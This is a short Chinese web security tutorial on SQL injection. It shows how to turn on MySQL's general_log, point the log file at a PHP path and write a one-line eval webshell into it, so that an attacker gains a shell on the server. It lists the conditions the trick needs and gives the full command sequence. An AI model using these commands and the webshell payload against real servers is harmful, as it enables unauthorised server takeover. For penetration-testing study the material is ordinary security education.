WEB安全--SQL注入--利用log写入webshell

一、原理:

这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

二、条件:

用户有写入权限

需要知道物理路径(绝对路径)

需要能执行多行SQL语句

关闭对单引号的转义(GPC)

三、利用方式:

sql 复制代码
show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式
相关推荐
2601_957787589 小时前
企业级内容矩阵的安全合规体系构建与技术实现
大数据·安全·矩阵
一拳一个娘娘腔10 小时前
第四章:深入系统底层 —— Root提权与内核漏洞
安全
rockey62712 小时前
AScript如何实现LINQ语法
sql·c#·.net·linq·script·eval·expression
kang0x013 小时前
Simple XOR - Writeup by AI
安全
小小工匠13 小时前
Spring AI RAG - 06 敏感词过滤与内容安全防护
人工智能·安全·spring
一切皆是因缘际会14 小时前
AI技术新风口:边缘计算与智能体协同,解锁产业落地新范式
大数据·人工智能·安全·ai·架构·语音识别
JiaWen技术圈14 小时前
网站开发中登录与注册安全防范完整指南
安全
mzhan01715 小时前
Linux: config: CRYPTO_USER_API_AEAD
linux·安全·module
想你依然心痛15 小时前
HarmonyOS 6(API 23)实战:基于悬浮导航、沉浸光感与HMAF的“代码哨兵“——AI智能体代码安全审计平台
人工智能·安全·harmonyos·智能体
ze^016 小时前
Day01 Web应用&架构搭建&域名源码&站库分离&MVC模型&解析受限&对应路径
安全·web安全·架构·mvc·安全架构